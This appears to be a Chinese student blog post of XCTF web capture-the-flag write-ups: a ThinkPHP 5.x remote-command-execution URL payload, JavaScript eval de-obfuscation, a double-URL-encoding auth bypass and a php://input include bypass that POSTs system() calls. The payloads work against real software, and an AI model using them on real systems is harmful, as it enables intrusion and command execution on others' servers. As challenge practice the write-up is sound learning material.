Noname's Blog
信息安全专业的小萌新,立志走上更大的舞台
XCTF-Web进阶某些做题记录1

ThinkPHP 5.x 远程执行命令漏洞

关键代码:

// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

为对控制器进行过滤,所以攻击者可以通过引入\符号来调用任意类方法

漏洞利用

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php代码

XCTF- php_rce
payload:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

Linux find命令
语法:

find   path   -option   [   -print ]   [ -exec   -ok   command ]   {} \;

如果 path 是空字串则使用目前路径,如果 expression 是空字串则使用 -print 为预设 expression。

https://www.runoob.com/linux/linux-comm-find.html

html乱码脚本处理

XCTF-NaNNaNNaNNaN-Batman
收获一个文件
nb.png

<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){	[0]);.splice(0,1)}}}	\'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["	write(s[o%4]buttonif(e.ment';for(Y in $='	')with(_.split($[Y]))_=join(pop());eval(_)</script>

。。。?参考一下wp
所以必然是要分析这段代码了,首先看到一个输入框,所以尝试将该文件改为html后缀,以网页形式可以打开

代码中有一个eval执行函数,也就是执行了_变量中的内容,但是并没有执行$()函数,而仅仅执行了字符串,所以导致了乱码
将eval函数改为alert弹窗,可以将源码完整显示
nb2.png
整理得

function $(){
var e=document.getElementById("c").value;
if(e.length==16)
 if(e.match(/^be0f23/)!=null)
   if(e.match(/233ac/)!=null)
       if(e.match(/e98aa$/)!=null)
           if(e.match(/c7be9/)!=null){
               var t=["fl","s_a","i","e}"];
               var n=["a","_h0l","n"];
               var r=["g{","e","_0"];
               var i=["it'","_","n"];
               var s=[t,n,r,i];
               for(var o=0;o<13;++o){
                   document.write(s[o%4][0]);s[o%4].splice(0,1)
               }
           }
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

所以flag看着也差不多了,满足所有if中的条件即可

e.length==16 
e.match(/^be0f23/)!=null //开头匹配到be0f23
e.match(/233ac/)!=null 
e.match(/e98aa$/)!=null //以e98aa结尾
e.match(/c7be9/)!=null

所以构造e=be0f233ac7be98aa,在输入框里输入即可

还找到一些其他方法。。参考链接
https://blog.csdn.net/harry_c/article/details/97698717?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
跑个小小小小小脚本
https://blog.csdn.net/zz_Caleb/article/details/89283180

XCTF-PHP2

一打开真的觉得啥都没有

phps文件就是php的源代码文件。 通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替

涨姿势了
访问/index.phps

<?php
if("admin"===$_GET[id]) { //admin被过滤
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]); //若传入id=admin,则admin传到id里时已经被浏览器解码一次
if($_GET[id] == "admin") 
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

urldecode()很醒目,应该是二次编码有关,浏览器在上传数据时,会对参数值进行一次解码,而php代码中的函数又再解码一次。例如d的url编码为%64,再编码一次就是%2564
今天直接收集一张图吧
url编码表.png
出flag的条件是
"admin" === $_GET[id]不成立
$_GET[id]经过处理后又 == "admin"

admin的url编码:
%61%64%6D%69%6E

admin二次编码值:%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
->?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
简单一点
->?id=%2561dmin

XCTF-Web_php_include

看到这个名字就觉得应该和php伪协议有点关系

<?php
show_source(__FILE__);
echo $_GET['hello'];$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);?>

果然还是有点关系,之前做题的时候查的
strstr()函数,查看str2是不是str1的子串,是的话返回str1从str2第一次出现的位置开始到str1结尾的位置,否则返回NULL,对大小写敏感
所以可以通过php://input 传入命令,查看php的位置
1.通过大写绕过strstr

?page=PHP://input

2.查看目录 POST

<?php system("ls");?>

3.查看flag POST

<?php system("cat fl4gisisish3r3.php");?>